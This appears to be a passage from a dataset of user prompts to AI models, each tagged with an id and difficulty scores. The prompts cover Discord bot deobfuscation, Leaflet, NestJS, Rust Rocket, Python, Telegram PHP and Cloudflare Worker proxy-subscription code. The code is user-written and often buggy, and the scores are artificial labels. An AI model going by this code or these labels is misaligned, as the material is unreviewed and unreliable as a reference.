0x0; _0x5933d3 < _0x53b510.length; _0x5933d3++) { const _0x49dba4 = _0x53b510[_0x5933d3]; if (!_0x49dba4.latestIP) { _0x49dba4.latestIP = 'Unknown'; } if (!_0x49dba4.latestHWID) { _0x49dba4.latestHWID = 'Unknown'; } if (!_0x49dba4.totalRequests) { _0x49dba4.totalRequests = 0x0; } let _0x55adc5 = _0x779a91.users.cache.get(_0x49dba4.discordUserID); let _0x41dd9d; let _0x5ebdb1; if (!_0x55adc5) { _0x41dd9d = "\u26A0\uFE0F Unknown"; } if (!_0x55adc5) { _0x5ebdb1 = 'Unknown'; } if (_0x55adc5) { _0x41dd9d = '<@!' + _0x55adc5.id + '>'; } if (_0x55adc5) { _0x5ebdb1 = '' + _0x55adc5.username; } let _0x575835 = new Discord.EmbedBuilder(); _0x575835.setAuthor({ 'name': "\uD83D\uDD11 License Keys Found: " + _0x53b510.length }); _0x575835.setColor(config.EmbedColors); _0x575835.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x49dba4.licenseKey + "``\n> Product: ``" + _0x49dba4.productName + "``\n> Total Requests: ``" + _0x49dba4.totalRequests + "``\n> Latest IP: ``" + _0x49dba4.latestIP + "``\n> Latest HWID: ``" + _0x49dba4.latestHWID + "``\n> Created at: <t:" + (_0x49dba4.createdAt / 0x3e8 | 0x0) + ':R>' }); _0x575835.addFields({ 'name': "\u2022 User Information:", 'value': "> User: " + _0x41dd9d + " (" + _0x5ebdb1 + ")\n> User ID: ``" + _0x49dba4.discordUserID + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x49dba4.builtbybitUserID + "/) ``" + _0x49dba4.builtbybitUserID + '``' }); _0x575835.setTimestamp(); _0xb74797.push(_0x575835); } if (_0xb74797.length === 0x1) { return _0x67a592.editReply({ 'embeds': _0xb74797 }); } utils.paginateEmbed(_0x67a592, ['⏪', 'Previous', 'Next', '⏩'], _0xb74797, '3m'); } if (_0xf93528 === 'cleardata') { if (config.license_cleardata.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x3c3517 = config.license_cleardata.AllowedRoles.some(_0x3c8b6d => { const _0x247275 = _0x67a592.guild.roles.cache.get(_0x3c8b6d); return _0x247275 && _0x67a592.member.roles.cache.has(_0x3c8b6d); }); if (!config.DevMode && !_0x3c3517) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); let _0x2ca92c = _0x67a592.options.getString('licensekey'); let _0x399e83 = _0x67a592.options.getString('data'); const _0x1f45eb = await licenseModel.findOne({ 'licenseKey': _0x2ca92c }); if (!_0x1f45eb) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | This license key does not exist! ``(" + _0x2ca92c + ')``' }); } if (_0x399e83 === 'IP') { await _0x1f45eb.updateOne({ 'ipList': [] }); await _0x67a592.editReply({ 'content': "\uD83D\uDFE2 | You successfully deleted the IP data of this license key! ``(" + _0x2ca92c + ')``' }); } if (_0x399e83 === 'HWID') { await _0x1f45eb.updateOne({ 'hwidList': [] }); await _0x67a592.editReply({ 'content': "\uD83D\uDFE2 | You successfully deleted the HWID data of this license key! ``(" + _0x2ca92c + ')``' }); } try { if (_0x8377fb) { let _0x3f0455 = _0x779a91.users.cache.get(_0x1f45eb.discordUserID); let _0x588bd1; let _0x10a7d2; if (!_0x3f0455) { _0x588bd1 = "\u26A0\uFE0F Unknown"; } if (!_0x3f0455) { _0x10a7d2 = 'Unknown'; } if (_0x3f0455) { _0x588bd1 = '<@!' + _0x3f0455.id + '>'; } if (_0x3f0455) { _0x10a7d2 = '' + _0x3f0455.username; } if (!_0x1f45eb.builtbybitUserID) { _0x1f45eb.builtbybitUserID = 'Unknown'; } let _0xaa521e = new Discord.EmbedBuilder(); _0xaa521e.setAuthor({ 'name': "\uD83D\uDFE0 License Data Cleared (" + _0x399e83 + ')' }); _0xaa521e.setColor('Orange'); _0xaa521e.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x2ca92c + "``\n> Product: ``" + _0x1f45eb.productName + "``\n> Created at: <t:" + (_0x1f45eb.createdAt / 0x3e8 | 0x0) + ':R>' }); _0xaa521e.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x588bd1 + " (" + _0x10a7d2 + ")\n> User ID: ``" + _0x3f0455.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x1f45eb.builtbybitUserID + "/) ``" + _0x1f45eb.builtbybitUserID + '``' }); _0xaa521e.addFields({ 'name': "\u2022 Cleared by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0xaa521e.setTimestamp(); _0x8377fb.send({ 'embeds': [_0xaa521e] }); } } catch (_0x2bfbe7) { console.error(_0x2bfbe7); } } } }; revert ooiginal names etc cleanup textshow full code
b1f52ec23da65e55aac9cc47e56f4fd1
{ "intermediate": 0.39151591062545776, "beginner": 0.40895357728004456, "expert": 0.19953051209449768 }
33,358
Файл server js: const express = require(‘express’); const app = express(); const axios = require(‘axios’); const path = require(‘path’); const port = 3000; const shapes = []; app.use(express.static(path.join(__dirname, ‘public’))); app.use(‘/leaflet’, express.static(path.join(__dirname, ‘node_modules/leaflet/dist’))); app.use(‘/leaflet.draw’, express.static(path.join(__dirname, ‘node_modules/leaflet-draw/dist’))); app.get(‘/’, (req, res) => { res.sendFile(path.join(__dirname, ‘views’, ‘index.html’)); }); app.get(‘/data/:lat/:lng’, async (req, res) => { const latitude = req.params.lat; const longitude = req.params.lng; try { const response = await axios.get(https://overpass-api.de/api/interpreter?data=[out:json];node(around:100,${longitude});out;); res.json(response.data.elements && response.data.elements[0] ? response.data.elements[0].tags : {}); } catch (error) { console.log(error); res.status(500).json({ error: ‘An error occurred’ }); } }); app.get(‘/getShapes’, (req, res) => { res.json(shapes); }); app.get(‘/getShapesByButton/:type’, (req, res) => { const type = req.params.type; const filteredShapes = shapes.filter(shape => shape.options.tag === type); res.json(filteredShapes); }); app.listen(port, () => { console.log(Server running on http://localhost:${port}); }); файл index html: <!DOCTYPE html> <html lang=“en”> <head> <meta charset=“UTF-8”> <meta name=“viewport” content=“width=device-width, initial-scale=1.0”> <title>Leaflet Draw Map</title> <link rel=“stylesheet” href=“/leaflet/leaflet.css” /> <link rel=“stylesheet” href=“/leaflet.draw/leaflet.draw.css” /> <style> #map { height: 400px; } #info { margin-top: 10px; } .active { background-color: yellow; } /* Скрыть атрибуцию / .leaflet-control-attribution { display: none; } / Добавленные стили для всплывающей подсказки */ .map-tooltip { background-color: white; border: 1px solid #ccc; padding: 5px; font-size: 12px; } </style> </head> <body> <div id=“buttons”> <button id=“field” class=“active”>Поле</button> <button id=“road”>Дорога</button> <button id=“building”>Здание</button> <button id=“forest”>Лес</button> </div> <div id=“map”></div> <div id=“info”> <h2>Object info:</h2> </div> <script src=“/leaflet/leaflet.js”></script> <script src=“/leaflet.draw/leaflet.draw.js”></script> <script> const map = L.map(‘map’).setView([51.505, -0.09], 13); L.tileLayer(‘https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png’).addTo(map); const drawnItems = new L.FeatureGroup().addTo(map); const drawControl = new L.Control.Draw({ draw: { polyline: false, polygon: true, circle: false, marker: false, rectangle: true }, edit: { featureGroup: drawnItems } }); map.addControl(drawControl); let shapes = []; map.on(‘draw:created’, function (e) { const layer = e.layer; drawnItems.addLayer(layer); const infoDiv = document.getElementById(‘info’); infoDiv.innerHTML = ‘<h2>Object info:</h2>’; const infoElement = document.createElement(‘p’); if (layer.options.tag) { infoElement.textContent = Tag: ${layer.options.tag}, ID: ${layer._leaflet_id}; } else { infoElement.textContent = ID: ${layer._leaflet_id}; } infoDiv.appendChild(infoElement); shapes.push(layer); updateObjectList(); }); map.on(‘draw:drawstart’, function (e) { const layerType = e.layerType; let tag = ‘’; if (layerType === ‘rectangle’) { tag = ‘field’; } else if (layerType === ‘polygon’) { tag = ‘road’; } drawControl.setDrawingOptions({ rectangle: { tag: tag }, polygon: { tag: tag } }); }); const buttons = document.querySelectorAll(‘#buttons button’); buttons.forEach(button => { button.addEventListener(‘click’, () => { buttons.forEach(btn => { btn.classList.remove(‘active’); }); button.classList.add(‘active’); drawControl.setDrawingOptions({ rectangle: { tag: button.id }, polygon: { tag: button.id } }); }); }); // Добавленный код для отображения названия тега при наведении на фигуру map.on(‘mouseover’, function (e) { const layer = e.layer; const tag = layer.options.tag; if (tag) { const tooltip = L.tooltip({ permanent: true, direction: ‘top’, className: ‘map-tooltip’, offset: [0, -10], content: Tag: ${tag} }); tooltip.setLatLng(e.latlng).addTo(map); } }); map.on(‘mouseout’, function () { map.closePopup(); }); // Function to update the object list on the screen function updateObjectList() { const infoDiv = document.getElementById(‘info’); infoDiv.innerHTML = ‘<h2>Object info:</h2>’; shapes.forEach(shape => { const listItem = document.createElement(‘p’); const tag = shape.options.tag; if (tag) { listItem.textContent = Tag: ${tag}, ID: ${shape._leaflet_id}; } else { listItem.textContent = ID: ${shape._leaflet_id}; } infoDiv.appendChild(listItem); }); } </script> </body> </html> Это приложении присваивает тег каждой фигуре вместе с id в зависимости от того, какая кнопка выбрана? Да, именно так. В приложении кнопки внизу страницы связаны с разными типами фигур на карте, такими как поле, дорога, здание и лес. При клике на одну из кнопок, фигуры, нарисованные на карте, получают соответствующий тег (tag), который задан кнопке. Например, если выбрана кнопка “Поле”, то все нарисованные прямоугольники будут иметь тег “field”. То же самое относится и к фигурам, которые нарисованы с помощью инструмента “Полигон”. Тег фигуры сохраняется в свойстве options.tag фигуры, и затем использовано при отображении информации о фигурах в информационном блоке и при создании всплывающей подсказки для каждой фигуры при наведении курсора мыши. Функция updateObjectList() обновляет список фигур на экране, отображая их теги и идентификаторы. У приложения есть проблемы: во первых почему то в строке objects отображается только id фигур, а теги не отображаются, во вторых возникает ошибка: (index):130 Uncaught TypeError: Cannot read properties of undefined (reading ‘options’) at e.<anonymous> ((index):130:25) at e.fire (Events.js:195:9) at e._fireDOMEvent (Map.js:1452:15) at e._handleDOMEvent (Map.js:1401:8) at HTMLDivElement.o (DomEvent.js:108:13) (index):130 Uncaught TypeError: Cannot read properties of und в третьих при наведении на фигуру ничего не происходит. Ты можешь исправить? Если да, то напиши обновленные файлы целиком без пропусков кода.
7d277b4e8bfdc5d886db090a80a6f917
{ "intermediate": 0.33374881744384766, "beginner": 0.464860200881958, "expert": 0.20139102637767792 }
33,359
import { Column, CreateDateColumn, Entity, JoinColumn, ManyToOne, OneToMany, OneToOne, PrimaryGeneratedColumn, UpdateDateColumn, } from 'typeorm'; import { PraticaEntity } from '../../../pratica/entities/pratica.entity'; import { AnagraficaEntity } from '../../../user/entities/anagrafica.entity'; import { IseeEntity } from './isee.entity'; import { OrarioScolastiscoEntity } from './orario-scolastisco.entity'; import { FigliGiaIscrittiEntity } from './figli-gia-iscritti.entity'; import { RuoloRichiedenteEntity } from '../../../pratica/entities/ruolo-richiedente.entity'; import { SituazioneParentaleEntity } from './situazione-parentale.entity'; @Entity('iscrizione_asilo_nido') export class IscrizioneAsiloNidoEntity { @PrimaryGeneratedColumn('increment') id: number; @OneToOne(() => PraticaEntity, { cascade: true }) @JoinColumn({ name: 'pratica_id' }) pratica: PraticaEntity; @OneToOne(() => AnagraficaEntity, { cascade: true }) @JoinColumn({ name: 'richiedente_id' }) richiedente: AnagraficaEntity; @OneToOne(() => AnagraficaEntity, { cascade: true }) @JoinColumn({ name: 'beneficiario_id' }) beneficiario: AnagraficaEntity; @ManyToOne(() => IseeEntity, (isee: IseeEntity) => isee.asiliNido, { cascade: true, eager: true, }) @JoinColumn({ name: 'isee_id' }) isee: IseeEntity; @OneToOne( () => OrarioScolastiscoEntity, (orario: OrarioScolastiscoEntity) => orario.asiliNido, { cascade: true }, ) @JoinColumn({ name: 'preferenza_orario_scolastico_id' }) preferenzaOrarioScolastico: OrarioScolastiscoEntity; @Column({ type: 'boolean' }) privacy: boolean; @Column({ name: 'invalidita_figlio', type: 'boolean' }) invaliditaFiglio: boolean; @Column({ name: 'preferenza_asilo_nido', type: 'int' }) preferenzaAsiloNido: number; @Column({ name: 'punteggio_graduatoria', type: 'int' }) punteggioGraduatoria: number; @OneToOne( () => SituazioneParentaleEntity, (situazioneParentale: SituazioneParentaleEntity) => situazioneParentale.asiliNido, { cascade: true }, ) @JoinColumn({ name: 'situazione_parentale_id' }) situazioneParentale: SituazioneParentaleEntity; @Column({ name: 'nucleo_familiare_quantita_figli', type: 'int' }) nucleoFamiliareQuantitaFigli: number; @Column({ name: 'gravidanza_madre', type: 'boolean' }) gravidanzaMadre: boolean; @OneToMany( () => FigliGiaIscrittiEntity, (figiGiaIscritti: FigliGiaIscrittiEntity) => figiGiaIscritti.iscrizioneAsiloNido, { cascade: true }, ) figliGiaIscritti: FigliGiaIscrittiEntity[]; @ManyToOne( () => RuoloRichiedenteEntity, (ruoloRichiedente: RuoloRichiedenteEntity) => ruoloRichiedente.richiesteAccessoAtti, { cascade: true }, ) @JoinColumn({ name: 'ruolo_richiedente_id' }) ruoloRichiedente: RuoloRichiedenteEntity; @CreateDateColumn({ type: 'timestamp', name: 'inserted_at' }) insertedAt: Date; @UpdateDateColumn({ type: 'timestamp', name: 'updated_at' }) updatedAt: Date; } import { Column, Entity, JoinColumn, ManyToOne, PrimaryGeneratedColumn, } from 'typeorm'; import { IscrizioneAsiloNidoEntity } from './iscrizione-asilo-nido.entity'; @Entity({ name: 'figli_iscritti' }) export class FigliGiaIscrittiEntity { @PrimaryGeneratedColumn('increment') id: number; @ManyToOne( () => IscrizioneAsiloNidoEntity, (iscrizioneAsiloNido: IscrizioneAsiloNidoEntity) => iscrizioneAsiloNido.figliGiaIscritti, ) @JoinColumn({ name: 'iscrizione_asilo_nido_id' }) iscrizioneAsiloNido: IscrizioneAsiloNidoEntity; @Column({ name: 'id_figlio', type: 'int' }) idFiglio: number; } import { Column, CreateDateColumn, Entity, OneToMany, PrimaryGeneratedColumn, UpdateDateColumn, } from 'typeorm'; import { IscrizioneAsiloNidoEntity } from './iscrizione-asilo-nido.entity'; @Entity('isee') export class IseeEntity { @PrimaryGeneratedColumn('increment') id: number; @Column() importo: number; @Column({ name: 'data_scadenza' }) dataScandeza: Date; @CreateDateColumn({ type: 'timestamp', name: 'inserted_at' }) insertedAt: Date; @UpdateDateColumn({ type: 'timestamp', name: 'updated_at' }) updatedAt: Date; @OneToMany( () => IscrizioneAsiloNidoEntity, (asiloNido: IscrizioneAsiloNidoEntity) => asiloNido.isee, ) asiliNido: IscrizioneAsiloNidoEntity[]; } UpdateDateColumn, } from 'typeorm'; import { IscrizioneAsiloNidoEntity } from './iscrizione-asilo-nido.entity'; @Entity({ name: 'situazione_parentale' }) export class SituazioneParentaleEntity { @PrimaryGeneratedColumn('increment') id: number; @Column() chiave: string; @Column() descrizione: string; @CreateDateColumn({ type: 'timestamp', name: 'inserted_at' }) insertedAt: Date; @UpdateDateColumn({ type: 'timestamp', name: 'updated_at' }) updatedAt: Date; @OneToOne( () => IscrizioneAsiloNidoEntity, (asiloNido: IscrizioneAsiloNidoEntity) => asiloNido.situazioneParentale, ) asiliNido: IscrizioneAsiloNidoEntity; } @Entity('orario_scolastico') export class OrarioScolastiscoEntity { @PrimaryGeneratedColumn('increment') id: number; @Column() chiave: string; @Column() descrizione: string; @CreateDateColumn({ type: 'timestamp', name: 'inserted_at' }) insertedAt: Date; @UpdateDateColumn({ type: 'timestamp', name: 'updated_at' }) updatedAt: Date; @OneToOne( () => IscrizioneAsiloNidoEntity, (asiloNido: IscrizioneAsiloNidoEntity) => asiloNido.preferenzaOrarioScolastico, ) asiliNido: IscrizioneAsiloNidoEntity; } screivimi il dto di iscrizione asilo nido
7090cba5cf59181f4ff7439c714f490c
{ "intermediate": 0.30893123149871826, "beginner": 0.4829636514186859, "expert": 0.20810507237911224 }
33,360
can you read csv fies
4cabe10198c1ac4df7d93c007f979d00
{ "intermediate": 0.30938324332237244, "beginner": 0.2691366970539093, "expert": 0.4214799702167511 }
33,361
extern crate rocket; use rocket::{*, form::Form}; extern crate rocket_dyn_templates; use rocket_dyn_templates::{Template, context}; use rocket::fs::FileServer; struct Article { content: String, } #[get("/")] fn index() -> Template { Template::render("index", context!{}) } #[get("/new")] fn new_view() -> Template { Template::render("new", context!{}) } #[post("/api/new", data = "<data>")] fn new(data: Form<Article>) -> String { format!("{}", data.content) } #[launch] fn rocket() -> _ { build() .attach(Template::fairing()) .mount("/", routes![index, new_view]) .mount("/static", FileServer::from("static")) } Compiling txtforum v0.1.0 (/Users/alexkatkov/Programs/Rust/txtforum) error[E0277]: the trait bound `Article: FromFormField<'_>` is not satisfied --> src/main.rs:22:14 | 22 | fn new(data: Form<Article>) -> String { | ^^^^^^^^^^^^^ the trait `FromFormField<'_>` is not implemented for `Article` | = help: the following other types implement trait `FromFormField<'v>`: bool isize i8 i16 i32 i64 i128 usize and 38 others = note: required for `Article` to implement `FromForm<'_>` = note: required for `rocket::form::Form<Article>` to implement `FromData<'_>` For more information about this error, try `rustc --explain E0277`. error: could not compile `txtforum` (bin "txtforum") due to previous error
64dfdceeefbf4f554d220ba0d667cec8
{ "intermediate": 0.47437965869903564, "beginner": 0.26969289779663086, "expert": 0.2559274137020111 }
33,362
#Dante D'Ambrogio #December 1, 23 #This program def multiply(num1, num2, num3=None, num4=None): result = num1 * num2 if num3 is not None: result *= num3 if num4 is not None: result *= num4 return result def add(num1, num2, num3=None, num4=None): result = num1 + num2 if num3 is not None: result += num3 if num4 is not None: result += num4 return result def subtract(num1, num2, num3=None, num4=None): result = num1 - num2 if num3 is not None: result -= num3 if num4 is not None: result -= num4 return result def divide(num1, num2, num3=None, num4=None): if num2 == 0: return "Error: Division by zero is not allowed." result = num1 / num2 if num3 is not None: if num3 == 0: return "Error: Division by zero is not allowed." result /= num3 if num4 is not None: if num4 == 0: return "Error: Division by zero is not allowed." result /= num4 return result num1=0 num2=0 num3=0 num4=0 print("How many numbers do you wish to use 2,3 or 4: ",end="") answer=int(input()) if answer == 2: print("What is the first number you wish to use: ",end="") num1=int(input()) print("What is the second number you wish to use: ",end="") num2=int(input()) elif answer == 3: print("What is the first number you wish to use: ") num1=int(input()) print("What is the second number you wish to use: ",end="") num2=int(input()) print("What is the third number you wish to use: ",end="") num3=int(input()) elif answer == 4: print("What is the first number you wish to use: ",end="") num1=int(input()) print("What is the second number you wish to use: ",end="") num2=int(input()) print("What is the third number you wish to use: ",end="") num3=int(input()) print("What is the fourth number you wish to use: ",end="") num4=int(input()) print("What fuction do you wish to do addition, subtraction, multiplication, or divison") opperation_answer=(input()) if opperation_answer == "addition": sum = add(num1, num2, num3, num4) result = num1 + num2 if num3 is not None: result += num3 if num4 is not None: result += num4 print(result) print(num1,"+", num2,"+", num3,"+", num4, "=",sum) elif opperation_answer == "subtraction": subtract(num1, num2, num3, num4) result = num1 - num2 if num3 is not None: result -= num3 if num4 is not None: result -= num4 print(result) print(num1,"-", num2,"-", num3,"-", num4, "=",result) elif opperation_answer == "multiplication": multiply(num1, num2, num3, num4) result = num1 * num2 if num3 is not None: result *= num3 if num4 is not None: result *= num4 print(num1,"*", num2,"*", num3_div,"*", num4_div, "=",result) elif opperation_answer == "divison": divide(num1, num2, num3, num4) if num2 == 0: print ("Error: Division by zero is not allowed.") print("your second number is 0 re enter an number",end="") num2= int(input()) result = num1 / num2 if num3 is not None: if num3 == 0: print("Error: Division by zero is not allowed.") print("your third number is 0 re enter an number",end="") num3= int(input()) result /= num3 if num4 is not None: if num4 == 0: print ("Error: Division by zero is not allowed.") print("your fourth number is 0 re enter an number",end="") num4= int(input()) result /= num4 print(result) print(num1,"/", num2,"/", num3,"/", num4, "=",sum) why is it not printing the answers to the screen
c87e1445ca2febf893b287b265b05220
{ "intermediate": 0.32313278317451477, "beginner": 0.36129748821258545, "expert": 0.3155697286128998 }
33,363
I have a dataset from cell classification with 57 features and 1927 rows (cells). can you write code to analyzie the data with UMAP to do unsupervised classification and force it only have 4 classes?
44c3248deed6c8a87bda7588d93a43eb
{ "intermediate": 0.39649125933647156, "beginner": 0.09995294362306595, "expert": 0.5035558342933655 }
33,364
do you remember my last question ?
b93f795d3e7de1d8c8c28471df43bfaa
{ "intermediate": 0.3097383975982666, "beginner": 0.32273295521736145, "expert": 0.3675285875797272 }
33,365
Write a python program that will output the percentage of kilobytes lost. The input will be two numbers, one in SI system (e.g. 210 = 1024) and one in IEC system (e.g. 103 = 1000). The output should be a number, rounded to 3 decimal places, representing the loss. Even though it is a percentage, do not put a percent sign (%) in the answer.
fe3a43e09502b7edde9cee2c73632cfb
{ "intermediate": 0.4402602016925812, "beginner": 0.16823281347751617, "expert": 0.39150699973106384 }
33,366
у меня правильно подключена бд, но почему-то не отображается айди пользователя, отображается никнейм, в бд вносится корректно, то есть если я делаю заказ, я вношусь в бд, но мой айди не высвечивается в боте, просто это :user_id Заказ <b>#:orderId</b> оплата отменена Пользователем <b>:user_id</b> <b>@:username</b><:n><:n> а здесь отображается нормально: Статус марафона <b>#:status</b><:n><:n> Текст задачи: <:n><:n> :task<:n><:n> Текст от пользователя <b>:user_id</b> <b>@:username</b>:<:n><:n> :userText <:buttons>Ответить;button;/reply :userChatId</:buttons> вот код подтверждения оплаты case "/aphrodite_morning_process_purchase_deny": $this->DelMessageText(ADMIN_CHAT_ID, $message_id); $orderId = (int)$command[1]; //$username = $command[3]; $aphroditeMorning = R::findOne("aphroditemorning", "id = $orderId"); if ($aphroditeMorning) { $aphroditeMorning["status"] = 2; R::store($aphroditeMorning); $aphroditeMorningUser = R::findOne("users", "id = {$aphroditeMorning["user_id"]}"); $templateUser = new Template("order_payment_deny_utro"); $templateUser = $templateUser->Load(); //$this->DelMessageText($aphroditeMorningUser["chat_id"], $command[2]); $this->sendMessage($aphroditeMorningUser["chat_id"], $templateUser->text); $templateAdmin = new Template("admin/aphrodite_morning/process_purchase_deny", [ new TemplateData(":aphroditeMorningId", $aphroditeMorning["id"]), new TemplateData(":username", $aphroditeMorningUser["username"]), //new TemplateData(":username", $username) ]); $templateAdmin = $templateAdmin->Load(); $this->sendMessage(ADMIN_CHAT_ID, $templateAdmin->text); } return;
d1118836167eaf7b84b61ee43584ba00
{ "intermediate": 0.29562750458717346, "beginner": 0.4994050860404968, "expert": 0.20496736466884613 }
33,367
у меня правильно подключена бд, но почему-то не отображается айди пользователя, отображается никнейм, в бд вносится корректно, то есть если я делаю заказ, я вношусь в бд, но мой айди не высвечивается в боте, просто это :user_id Заказ <b>#:orderId</b> оплата отменена Пользователем <b>:user_id</b> <b>@:username</b><:n><:n> а здесь отображается нормально: Статус марафона <b>#:status</b><:n><:n> Текст задачи: <:n><:n> :task<:n><:n> Текст от пользователя <b>:user_id</b> <b>@:username</b>:<:n><:n> :userText <:buttons>Ответить;button;/reply :userChatId</:buttons> вот код подтверждения оплаты case "/aphrodite_morning_process_purchase_deny": $this->DelMessageText(ADMIN_CHAT_ID, $message_id); $orderId = (int)$command[1]; //$username = $command[3]; $aphroditeMorning = R::findOne("aphroditemorning", "id = $orderId"); if ($aphroditeMorning) { $aphroditeMorning["status"] = 2; R::store($aphroditeMorning); $aphroditeMorningUser = R::findOne("users", "id = {$aphroditeMorning["user_id"]}"); $templateUser = new Template("order_payment_deny_utro"); $templateUser = $templateUser->Load(); //$this->DelMessageText($aphroditeMorningUser["chat_id"], $command[2]); $this->sendMessage($aphroditeMorningUser["chat_id"], $templateUser->text); $templateAdmin = new Template("admin/aphrodite_morning/process_purchase_deny", [ new TemplateData(":aphroditeMorningId", $aphroditeMorning["id"]), new TemplateData(":username", $aphroditeMorningUser["username"]), //new TemplateData(":username", $username) ]); $templateAdmin = $templateAdmin->Load(); $this->sendMessage(ADMIN_CHAT_ID, $templateAdmin->text); } return;
cb00ec38076d47e658721d82c3e7f9b5
{ "intermediate": 0.29562750458717346, "beginner": 0.4994050860404968, "expert": 0.20496736466884613 }
33,368
mac download the latest version R
8ceddb31ed29abeaa0a1792a792f849f
{ "intermediate": 0.3087223768234253, "beginner": 0.24115468561649323, "expert": 0.4501229226589203 }
33,369
hi
98c565595eee6503a5ec9af10e4f16ca
{ "intermediate": 0.3246487081050873, "beginner": 0.27135494351387024, "expert": 0.40399640798568726 }
33,370
var https = require('https'); var fs = require('fs'); // Read the certificate and the private key from the files var options = { key: fs.readFileSync('key.pem'), cert: fs.readFileSync('cert.pem') }; // Create a HTTPS server with the options var server = https.createServer(options, function(request, response) { // Your original code goes here const url = new URL(request.url); const provider = url.searchParams.get("subs"); let links = []; if (provider === "IRC") { links = [ 'xxxxxx', 'xxxxxx', 'xxxxxx' ]; } else if (provider === "MCI") { links = [ 'xxxxxx' ]; } const responseText = links.join('\n').replace(/,/g, '\n'); // Encoding the response text in base64 const encodedResponse = btoa(responseText); response.writeHead(200, { 'Content-Type': 'text/plain' }); response.end(encodedResponse); }); // Listen on port 8080 server.listen(8080); vs // Importing the https module const https = require('https'); // Creating the options object with the SSL/TLS configuration const options = { key: fs.readFileSync('key.pem'), cert: fs.readFileSync('cert.pem') }; // Creating the https.Server object const server = https.createServer(options, async function handleRequest(request) { // How to create a subscribe link and give it to the family with iSegaro const url = new URL(request.url); const provider = url.searchParams.get("subs"); let links = []; if (provider === "IRC") { links = [ 'xxxxxx', 'xxxxxx', 'xxxxxx' ]; } else if (provider === "MCI") { links = [ 'xxxxxx' ]; } const responseText = links.join('\n').replace(/,/g, '\n'); // Encoding the response text in base64 const encodedResponse = btoa(responseText); return new Response(encodedResponse, { headers: { 'Content-Type': 'text/plain' }, }); }); // Listening for requests on port 443 server.listen(443, function() { console.log('Server is running on https://localhost:443'); }); // Handling errors server.on('error', function(error) { console.error(error); });
bc7b1685325ad7a12ec8d18555f23fde
{ "intermediate": 0.4596511423587799, "beginner": 0.2344377636909485, "expert": 0.3059110641479492 }
33,371
Экстаз Афродиты Пользователь :user_id @g_god244 отправил чек. На сумму 1491 Номер заказа 68 Подтвердить оплату? у меня почему-то не отображается айди пользователя только здесь, но в остальных смс все отлично, может, что-то не так с кодом ниже? $templateAdmin = new Template("admin/health_check", [ new TemplateData(":status", $status), new TemplateData(":task", $task), new TemplateData(":username", $user["username"]), new TemplateData(":userText", $text), new TemplateData(":user_id", $user["id"]), new TemplateData(":userChatId", $user["chat_id"]) ]); case "/payment_confirmation": // удаляю предыдущее сообщение $this->DelMessageText($user["chat_id"], $message_id); $template = new Template("payment_confirmation", [ new TemplateData(":price", $command[1]), ]); $template = $template->Load(); $buttons = [ [ $this->buildInlineKeyBoardButton("Назад", "/message_8 $command[1]"), ], ]; $response = $this->sendMessage($user["chat_id"], $template->text); $user["action"] = "payment_confirmation {$response["result"]["message_id"]}"; R::store($user); $order = R::dispense("orders"); $order["user_id"] = $user["id"]; R::store($order); return;
8ad0720d7d88579fbe89794a4f4ee8d3
{ "intermediate": 0.36229628324508667, "beginner": 0.40008223056793213, "expert": 0.23762154579162598 }
33,372
Экстаз Афродиты Пользователь :user_id @g_god244 отправил чек. На сумму 1491 Номер заказа 68 Подтвердить оплату? у меня не отображается айди только вэтом сообщении, в остальных все отлично. вот код ниже $templateAdmin = new Template("admin/health_check", [ new TemplateData(":status", $status), new TemplateData(":task", $task), new TemplateData(":username", $user["username"]), new TemplateData(":userText", $text), new TemplateData(":user_id", $user["id"]), new TemplateData(":userChatId", $user["chat_id"]) ]); case "/payment_confirmation": // удаляю предыдущее сообщение $this->DelMessageText($user["chat_id"], $message_id); $template = new Template("payment_confirmation", [ new TemplateData(":price", $command[1]), ]); $template = $template->Load(); $buttons = [ [ $this->buildInlineKeyBoardButton("Назад", "/message_8 $command[1]"), ], ]; $response = $this->sendMessage($user["chat_id"], $template->text); $user["action"] = "payment_confirmation {$response["result"]["message_id"]}"; R::store($user); $order = R::dispense("orders"); $order["user_id"] = $user["id"]; R::store($order); return;
b2826730e3d6f2677cfd633eab35408d
{ "intermediate": 0.40754780173301697, "beginner": 0.4014626145362854, "expert": 0.19098961353302002 }
33,373
this is for coudflare workers , improve it async function handleRequest(request) { // How to create a subscribe link and give it to the family with iSegaro const url = new URL(request.url); const provider = url.searchParams.get("subs"); let links = []; if (provider === "IRC") { links = [ 'xxxxxx', 'xxxxxx', 'xxxxxx' ]; } else if (provider === "MCI") { links = [ 'xxxxxx' ]; } const responseText = links.join('\n').replace(/,/g, '\n'); // Encoding the response text in base64 const encodedResponse = btoa(responseText); return new Response(encodedResponse, { headers: { 'Content-Type': 'text/plain' }, }); } addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)); });
c8a5f54e440ab0fd3e443f95779eb970
{ "intermediate": 0.34617236256599426, "beginner": 0.3892678916454315, "expert": 0.26455968618392944 }
33,374
is this correct for coudflare workers ? async function handleRequest(request) { const url = new URL(request.url); const provider = url.searchParams.get("subs"); // Moved the links logic to a separate function const links = getSubscriptionLinks(provider); // Check if the provider is valid and links are found if (links.length === 0) { // Return a 400 Bad Request if the provider parameter is not valid. return new Response('Invalid provider or no subscriptions found.', { status: 400, headers: { 'Content-Type': 'text/plain' }, }); } // Join the links with newline and encode the response text to base64 const responseText = links.join('\n'); const encodedResponse = btoa(encodeURIComponent(responseText)); return new Response(encodedResponse, { headers: { 'Content-Type': 'application/octet-stream', // Prompt download 'Content-Disposition': 'attachment; filename="subscription_links.txt"' } }); } // A function to return the subscription link function getSubscriptionLink() { return 'vless://<PRESIDIO_ANONYMIZED_EMAIL_ADDRESS>:80?encryption=none&security=none&type=ws&path=%2F%2CTurk#Tel%3A%40vpnv2rayspeed'; } // Usage in the handleRequest function async 